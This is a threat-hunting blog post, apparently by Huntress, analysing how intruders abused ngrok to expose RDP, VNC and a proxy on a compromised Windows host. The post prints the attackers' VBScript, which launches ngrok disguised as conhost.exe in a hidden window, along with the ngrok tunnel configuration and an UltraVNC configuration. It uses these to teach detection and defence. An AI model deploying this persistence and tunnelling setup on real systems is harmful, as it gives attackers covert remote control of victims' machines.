Do you know that expression, “light at the end of the tunnel?”
Usually, that has a positive connotation. After some hard work or persevering through something difficult or unpleasant, you can see "the light at the end of the tunnel” and rejoice that the work is almost done.
Today, we're telling a different story—one where remote access threats lurk at the end of the tunnel, with shady hackers gaining unauthorized control over victim networks.
And when we say tunnel, we mean computer network tunneling—like a proxy, packets being routed or sent someplace else. In some scenarios, network “tunneling” like this actually has a good and functional purpose. But when we see it while we are hunting for malware, it’s often used by bad actors to exfiltrate data or control network traffic.
In this case, we saw artifacts that indicate a hacker used ngrok to tunnel traffic from RDP and VPN ports out to the open Internet.
Ngrok is a cross-platform application that exposes local server ports to the Internet. Their website claims, “[so you can] spend more time programming—one command for an instant, secure URL to your localhost server through any NAT or firewall.”
Honestly, it sounds pretty cool, right? Say you were developing a couple of website pages and you wanted to show it to your friend, but you didn’t have all the infrastructure already set up—well you know what, why don’t I show you?
Here is a basic demo HTML page just being served on a local development machine.
Pretty boring. Obviously this is just for demonstration's sake—but if I were to fire up ngrok…
ngrok http 80
You can see I have a forwarded port and tunnel set up from port 80 (HTTP) on my localhost, now publicly available at http[:]//d7d61b3bf14c.ngrok.io!
Now anyone on the Internet (including those programmer buddies I mentioned!) can access this site.
Checking back at the ngrok output:
Very cool! We can see the requests that came in and the number of connections. Now I can stop ngrok, and that will tear down the tunnel—that public endpoint no longer reaches my local machine. Quick, temporary tunnels as you need them.
This was a super simple showcase of ngrok. And it is not just spinning up an HTTP server—you can make any port publicly accessible. While I used the ngrok http 80 syntax in that example, you could supply ngrok tcp 445 or define ports to use in a configuration file.
That is the intended and benign use of ngrok, for its real functional purpose. But I think you might be able to guess how this can be used for more nefarious purposes. 😉
So Where Are the Bad Guys? Check out this persistent foothold we found on a victim's computer.
Dim objShellSet objShell = WScript.CreateObject("WScript.Shell")command = "powershell -windowstyle hidden C:\ProgramData\WindNT\conhost.exe start --config=C:\ProgramData\WindNT\ngrok.yml --all --region=eu"objShell.Run command,0Set objShell = Nothing
This is a Visual Basic Script—code that will natively run on a Windows operating system. VBScript and others, like JScript, HTA, PowerShell or Batch scripts are common targets for bad actors because they will inherently execute on Windows.
If you aren’t familiar with VBScript, a good tell-tale is the use of Dim to declare local variables. We see an objShell variable being declared and then Set to a WScript.Shell object. The WScript.Shell object can be used to run commands or start processes—again, another attractive feature for hackers.
In this case, it sets up a command to run PowerShell, with a hidden window (spooky!) starting a conhost.exe process with arguments defining a “config” and a “region,” seemingly.
The script will run the command, and then clean up the objShell object by setting it to Nothing.
Conhost.exe is usually a process spawned by command shells like PowerShell or cmd.exe, so if an analyst were simply looking at a process tree and not seeing command-line arguments, maybe this looks innocent.
However, the command-line arguments indicate that this is not the known conhost.exe.
This is ngrok, masquerading and hiding as conhost.exe—just a simple renamed file.
Those command-line arguments to specify a configuration file and region are what the ngrok program would typically expect. With those parameters, you can specify a specific configuration file that is in a different location than the default—and the region where the ngrok client will connect to host its tunnels.
This command does not indicate which ports it is going to expose to the Internet, though—where are those supplied? Well, we will have to dive into that configuration file it mentioned!
tunnels: rdp: proto: tcp addr: 3389 wnc: proto: tcp addr: 6300 mobil: proto: tcp addr: 3128
(The configuration file also includes the authtoken to connect to this ngrok account—but as a strange act of good service to the hackers, I won’t expose that here 😉)
When ngrok is invoked with the `start` command it will read and operate as defined in the configuration file, and the --all argument means it will start all of the defined tunnels.
These shady fellows are publicly exposing RDP on port 3389, a VNC server on port 6300, and potentially a Squid or HTTP proxy on port 3128!
Needless to say, the Remote Desktop Protocol being accessible to the open Internet is an attack vector on its own. But these bad guys could be using it for continued remote access or more post-exploitation now that they have already compromised this target.
If RDP wasn’t enough, they double it up with a tunnel to access VNC (Virtual Network Computer), which offers practically the same functionality as RDP. Graphical desktop sharing—so the hackers can take advantage of this remote access threat and control the computer remotely from anywhere in the world.
The use of the Squid or HTTP proxy on port 3128 is questionable. Perhaps this could be used for more internal-network access, to easily perform lateral movement even when “externally” connecting to the target. Even if there aren’t services running on these ports, ngrok will still happily tunnel them out for the whole world to see.
Let’s cross our fingers for the poor victim here and pretend perhaps RDP service was disabled, maybe no VNC server installed, or there was no Squid or HTTP proxy running—could the hackers enable these?
If they already compromised the machine and they had enough access, they certainly could.
In fact, the hackers brought in a VNC server. This persistence method is a bit “heavy” compared to some of the simple techniques they could have used, but hey—a graphical interface to keep hacking away on their target? I’m sure they won’t turn that down.
While we found that persistent VBScript code, we also found a VNC server “winvnc.exe” (that is also living out of the “Chrome” folder in a user’s AppData, which makes for a good laugh).
This VNC server is also set up in a Windows Registry “Run Key”, so it remains persistent and will run each time that user logs in. These persistent registry keys are appropriately (I use that word in jest) named “WindNT,” to keep playing off the same theme of the fake conhost.exe, “ConhostNT.”
Now you might be saying, as the smart and educated computer user that you are, “but John, VNC servers will usually listen on port 5900, right? Ngrok didn’t expose that!”
And you’re absolutely right.
But hackers also play into the joke “security by obscurity.” You know the punchline—changing services to their non-standard port, or trying to fool folks by reversing ports like using 9983 for RDP (I’m looking at you, SMB Company XYZ!)
We dug up the VNC configuration file that was present in the same directory as the winvnc.exe executable.
[Permissions][admin]FileTransferEnabled=1FTUserImpersonation=1BlankMonitorEnabled=0BlankInputsOnly=0DefaultScale=1UseDSMPlugin=0DSMPlugin=DSMPluginConfig=primary=1secondary=0SocketConnect=1HTTPConnect=0XDMCPConnect=0AutoPortSelect=0PortNumber=6300HTTPPortNumber=6301InputsEnabled=1LocalInputsDisabled=0IdleTimeout=0EnableJapInput=0QuerySetting=2QueryTimeout=10QueryAccept=0LockSetting=0RemoveWallpaper=0RemoveEffects=0RemoveFontSmoothing=0RemoveAero=0DebugMode=0Avilog=0path=C:\Users\admin\Desktop\RDDebugLevel=0AllowLoopback=1LoopbackOnly=0AllowShutdown=0AllowProperties=1AllowEditClients=1FileTransferTimeout=30KeepAliveInterval=5SocketKeepAliveTimeout=10000DisableTrayIcon=1MSLogonRequired=0NewMSLogon=0ConnectPriority=1[UltraVNC]passwd=1B2A1BCF17E01EEF33passwd2=494015F9A35E8B2245
That VNC server is totally running on port 6300—exactly what ngrok exposed to the world—evident by that clear PortNumber=6300 line.
From the configuration file syntax, we gather that this is not WinVNC (as one might suspect from the filename) but rather UltraVNC. This offers more file transfer features and functionally, again visible in the configuration file by the lines FileTransferEnabled=1 and FTUserImpersonation=1 even allowing transfer by impersonated users.
Ngrok is a tool that serves a legitimate purpose. It offers a simple solution to quickly expose a local server to the Internet—when you want to expose something to the Internet.
When you don’t, then it is a different story.
As always, hackers use and abuse the genuine function of a utility and repurpose it for evil. While bad actors have been known to use ngrok in the past, we hope that this example of ngrok network tunneling puts it in a new light.
Public-facing RDP or any open access to any graphical interface remote control could be devastating to an organization. In this case, hackers use it for persistence, but can also weaponize this to continue their campaign, exfiltrate data, potentially perform more lateral movement and more. It is, after all, remote access. Command and control with a full desktop session, on the open Internet, readily waiting for hackers anywhere in the world.
We want to bring this to you for continued education and awareness. We say buzzwords and those over-saturated mantras like, “defense in depth,” “assume breach,” or “it’s not if, but when”...
… but we really mean it. Once a hacker has compromised a host, they have just opened the door for much more damage. Whether it is exfiltrating data, moving laterally throughout the network, or even installing persistence with an RDP or VNC server accessible worldwide—they are off the leash. At that point, it's hard to find that “light at the end of the (ngrok) tunnel.”
That’s why at Huntress, we hunt. It’s vital to know this tradecraft and understand these tactics, so we can better detect and prevent incidents like this... before hackers are the ones at the other end of the pipe.
Ngrok is a reverse proxy tool that creates a tunnel from a public resource on the Internet to a local running service. The tool is especially valuable for software developers or programmers to quickly expose local servers, oftentimes for simple testing or sharing applications without deploying them in a production environment. Ngrok works by connecting to the Ngrok cloud service, and then forwards traffic from a public URL (usually the ngrok.io subdomain) to the local machine.
When used legitimately, ngrok is most commonly used in scenarios like web development, testing webhooks, or prototyping software solutions.
Ngrok can be leveraged by threat actors for phishing (using Ngrok to send users to a malicious site under the guise of a legitimate URL), command and control, or data exfiltration by forwarding data through the secure tunnel.
While end users won’t often see malicious tampering with their own ngrok tooling, it’s functionality can be used against them-- system administrators or network engineers might observe an unusual amount of network traffic or connections to unknown Ngrok URLs, or incident responders and threat hunters might find rogue Ngrok processes running on devices without authorization. Antivirus or network monitoring tools should alert you for the unexpected use of Ngrok on an endpoint.
Organizations can work to protect themselves from the potential misuse of Ngrok by monitoring and logging, auditing outbound traffic or observing the processes running on devices. Application allowlisting can help restrict the misuse of Ngrok or other unwanted application, and as always, security awareness training can help defend your users from malware strains that incorporate Ngrok in their attack chain. Huntress can help protect your organization from ngrok exploitation. Get a free demo to see Huntress in action.
Get insider access to Huntress tradecraft, killer events, and the freshest blog updates.
